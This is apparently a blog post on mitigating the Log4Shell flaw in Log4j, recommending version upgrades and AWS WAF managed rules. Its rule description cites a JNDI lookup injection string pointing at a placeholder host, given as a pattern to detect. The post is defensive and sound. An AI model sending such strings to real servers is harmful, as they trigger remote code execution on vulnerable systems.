Mitigate Log4Shell, the Log4J Flaw

The Log4j vulnerability known as Log4Shell is dangerous and must be dealt with as soon as possible. This article explains the issue and propose you solutions.

It was a big news in the IT industry in the past two weeks. Any company using Log4j version 2.14.1 or below (or patched versions 2.15.0 and 2.16.0, which contain flaws) is vulnerable to Log4Shell, a Log4J flaw.

Background

Logging plays an essential role in every application and IT system. A number of companies and applications use the Java-based Apache Log4j library to write events to log files.

Unfortunately, the Log4j library doesn’t properly validate or escape input before logging it, an implementation defect called log injection. This defect means an unauthenticated remote attacker can send a specially crafted request to a server running a vulnerable version of Log4j (versions 2.14.1 and below) and launch a remote code execution attack to take control of the system.

Solutions

1. Not using the Log4j version 2.14.1 or below — or patched versions 2.15.0 and 2.16.0

2. Using Web Application Firewall WAF to block malicious requests.

The most effective way to block malicious requests targeting Log4j is with a web application firewall (WAF). WAFs can compare request data against rules indicating CVE-2021–44228. Attackers will develop techniques and patterns to bypass these checks, however, so keep abreast of new developments and keep WAF rules up to date.

AWS has released the latest updates to its managed WAF rulesets which can protect customers from Log4j flaw. These AWS Managed Rules for AWS WAF can help protect Amazon CloudFront distribution, Amazon API Gateway REST API, Application Load Balancer, or AWS AppSync GraphQL API resources.

a. AWSManagedRulesKnownBadInputsRuleSet esp. the Log4JRCE rule which helps inspects the request for the presence of the Log4j vulnerability. Example patterns include ${jndi:ldap://example.com/}.

b. AWSManagedRulesAnonymousIpList esp. the AnonymousIPList rule which helps inspect IP addresses of sources known to anonymise client information.

c. AWSManagedRulesCommonRuleSet, esp. the SizeRestrictions_BODY rule to verify that the request body size is at most 8 KB (8,192 bytes).

In this blog post, I outlined two possible quick solutions to handle Log4J vulnerability. For a comprehensive approach, AWS proposes customers to adopt a layered approach to help protect against, detect, and respond to their risks from the Log4j vulnerability. Please refer to the following link: https://aws.amazon.com/blogs/security/using-aws-security-services-to-protect-against-detect-and-respond-to-the-log4j-vulnerability/